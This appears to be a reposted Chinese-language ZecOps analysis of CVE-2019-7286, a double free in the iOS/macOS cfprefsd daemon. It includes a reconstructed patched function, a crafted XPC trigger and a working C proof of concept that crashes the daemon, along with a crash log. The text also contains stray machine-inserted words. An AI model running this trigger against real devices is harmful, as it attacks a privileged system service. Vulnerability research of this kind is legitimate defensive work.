iOS/OSX漏洞分析和再現:CVE-2019-7286

iOS 12.1.4是2019年2月8日發佈的iOS的最新版本。該版本修補了iOS上發現的四個漏洞。根據Project Zero的Ben Hawkes推文,其中至少有兩個0day仍是處於在野狀態……
數組

  • CVE-2019-7286在野外被開發利用
  • 該漏洞彷佛具備嚴重的嚴重性,而且可能在從新啓動後也可能用於維持持久性
  • ZecOps可以重現此漏洞(下面的POC代碼)
  • 該漏洞可用於將權限升級爲root,做爲iOS 12.1.3上越獄鏈的一部分。

分析CVE-2019-7286

根據Apple的描述app

基礎
適用於:iPhone 5s及更高版本,iPad Air及更高版本以及iPod touch第6代
影響:應用程序可能得到提高的權限
說明:經過改進的輸入驗證解決了內存損壞問題。
CVE-2019-7286:匿名研究員,Google威脅分析組的Clement Lecigne,Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß框架

除了在Apple的Foundation框架中修補漏洞這一事實外,該描述並未向咱們提供有關漏洞性質的大量詳細信息。函數

在分析Foundation框架中的補丁後,二進制差別顯示iOS 12.1.4的二進制文件與iOS 12.1.3相比沒有顯着變化。下一個直接的嫌疑人是CoreFoundation,它顯示了Diaphora工具中的一些二進制差別,以下所示:工具

 

 

 

 

經過比較補丁,咱們發現CFPrefs守護進程(cfprefsd)的實現有一些細微的變化。oop

此守護程序的手冊頁不太具描述性:spa

cfprefsd爲CFPreferences和
NSUserDefaults API 提供首選項服務手動
沒有cfprefsd的配置選項code

幾乎全部iOS / OS X上的軟件都會在啓動時使用CFPreferences選項,所以該守護程序中的漏洞可能對維護持久性也頗有用。使人驚訝的是,目前尚未關於此CVE的公開信息,正如人們所指望的那樣,這個漏洞在野外被積極利用。對象

補丁分析

OS X上也存在一樣的錯誤,這有助於ZecOps的調查和分析。在修補程序時,對cfprefsd引入了一些小的更改,但彷佛最重要的修改是在如下函數中進行的: blog

[CFPrefsDaemon handleMultiMessage:replyHandler:]

下面是一段ZecOps試圖重建原始的Obj-C代碼以及補丁(粗體):

 1 @implementation CFPrefsDaemon
 2 -(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
 3 {
 4   // ...
 5   CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
 6   // ...
 7   xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
 8   xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
 9   //...
10   for( counter = 0; xpc_array_count != counter; counter++)
11   {
12     xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
13   }
14   for( counter = 0; xpc_array_count != loop_counter ; counter++)
15   {
16     xpc_element = xpc_buffer[counter];
17     xpc_buffer[counter] = 0;           //patch fix
18     if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
19     {
20       [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
21           if (xpc_element) // patch fix
22         {
23             xpc_object_t result = xpc_retain(xpc_element); 
24             xpc_buffer[counter] = result;  
25           }              
26         }]; 
27     }
28     if ( !xpc_buffer[counter] )                //patch fix
29       xpc_buffer[counter] = xpc_null_create(); //patch fix
30   }
31   //...
32   array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
33   xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
34   xpc_release(array_from_xpc_buffer); 
35   for( counter = 0; xpc_array_count != counter ; counter++)
36   {
37     current_element = xpc_buffer[counter];
38     if (xpc_get_type(current_element) != &_xpc_type_null )
39         xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
40   }
41   // ...
42 }

漏洞詳細信息

handleMultiMessage:replyHandler:使用「 CFPreferencesMessages 」數組引用計數問題,該數組是xpc請求的一部分。

該函數使用xpc_array_get_value逐個將數組的對象讀入內存緩衝區,這不會影響引用計數。釋放緩衝區中全部元素的函數的最後一部分假定xpc對象具備全部權這一般是真實的,由於回調塊調用xpc_retain並在替換原來的對象xpc_buffer可是,若是因爲精心製做的消息而未調用回調(消息正文包含消息的處理程序索引。並不是全部處理程序都調用回調),則會發生雙重釋放。

具備如下鍵和值的XPC將觸發此漏洞:

1 poc_dict = {
2   "CFPreferencesOperation" = 5,
3   "CFPreferencesMessages" = [
4     {
5      "CFPreferencesOperation": 4    
6     }
7   ]
8 }

若是回調沒有更新xpc_buffer [count], Apple的補丁用xpc_null替換了原始的XPC對象所以,當xpc_null沒有要釋放的內存時,沒有雙重釋放條件

漏洞複製

咱們可以使用下面的POC代碼片斷重現CVE-2019-7286:

 1 #include <xpc/xpc.h>;
 2 
 3 int main(int argc, const char * argv[]) {
 4 
 5   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
 6   xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
 7     printf("got message: %sn", xpc_copy_description(t));
 8   });
 9 
10   xpc_connection_resume(conn);
11 
12   xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
13   xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
14 
15   xpc_object_t arr = xpc_array_create(NULL, 0);
16   xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
17   xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
18 
19   xpc_array_append_value(arr, arr_elem1);
20   xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
21   xpc_connection_send_message(conn, hello);
22   xpc_release(hello);
23   return 0;
24 }

在iOS 12.0.1上運行上述程序致使cfprefsd崩潰:

Thread 6 name:  Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

建議

  • 更新到最新的OS X和iOS版本。
  • 偶爾重啓iPhone / iPad(例如天天一次)以從脫離非持久性攻擊。
相關文章
相關標籤/搜索